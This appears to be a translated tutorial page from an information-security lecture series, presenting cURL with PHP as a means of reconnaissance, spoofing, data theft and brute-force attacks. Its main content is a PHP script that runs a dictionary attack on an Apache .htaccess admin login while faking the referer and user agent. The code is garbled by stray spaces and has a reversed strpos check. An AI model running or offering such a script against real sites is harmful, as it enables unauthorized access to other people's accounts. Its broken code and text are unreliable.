CURL — a tool that can be

cURL (Client URL), a library created by Daniel Stenberg, is a tool based primarily on the command line that can be used to force parameters into a web request. The cURL library has been ported to PHP as an additional module and can be useful when attempting to gather reconnaissance information or gain unauthorized access to a given URL.

CURL and PHP

PHP supports libcurl, which currently supports the http, https, ftp, gopher, telnet, dict, file, and ldap protocols. libcurl also supports HTTPS certificates, HTTP POST, HTTP PUT, FTP uploads (this can also be done with PHP's ftp extension), HTTP form-based uploads, proxy servers, cookies, and user + password authentication. cURL can be used together with PHP scripts for brute-force attacks (including brute-forcing SQL injection table names), reconnaissance attacks, spoofing, and data theft.

Brute-force script

The following cURL script can be used to brute-force Apache .htaccess authentication:

<? php
$ ref  =  "http://www.example.com/index.php" ;       // Set the referer for spoofing

$ denied  =  "Запрещено" ;                           // Set the "Denied" output

$ wordlist  =  "/var/www/wordlist.txt" ;             // Set the wordlist location

set_time_limit (  0  ) ;                             // Set the script execution limit. 0 = no limit

$ ch  =  curl_init (  ) ;                              // Initialize cURL
curl_setopt (  $ ch , CURLOPT_RETURNTRANSFER ,  1 ) ;    // Set RETURNTRANSFER to TRUE
curl_setopt (  $ ch , CURLOPT_FOLLOWLOCATION ,  1 ) ;    // Set FOLLOWLOCATION to TRUE
curl_setopt (  $ ch , CURLOPT_REFERER ,  $ ref ) ;         // Set REFERER to $ ref
curl_setopt (  $ ch , CURLOPT_USERAGENT , «Mozilla / 4.0 (compatible; MSIE 5.01; Windows NT 5.0)» ) ;  // Spoof User Agent

foreach (  file (  $ wordlist  )  as  $ password  )        // Run the loop for the dictionary attack
{
    $ force  =  "http: // admin: {$ password} @ www.example.com / admin /" ;  // Set the URL for the attack,
    curl_setopt (  $ ch , CURLOPT_URL ,  $ force  ) ;       // Load the attack URL with cURL
    $ check  =  curl_exec (  $ ch  ) ;                   // Set parameters for checking,
    if (  ! strpos (  $ denied , $ check  )  )              // Check whether $ denied is not on the page
    {
        die (  "Success! Password: {$ password} "  ) ;  // If $ denied returns false, success
    }
}
curl_close (  $ ch  ) ;                               // Close the cURL process
?>

CURL — a tool that can be used to force parameters into a web request

CURL and PHP

Brute-force script

Useful PHP cURL options

Comments

To leave a comment

Lectures and tutorial on "information security - Cryptography and Cryptanalysis. Steganography. Information protection"

Terms: information security - Cryptography and Cryptanalysis. Steganography. Information protection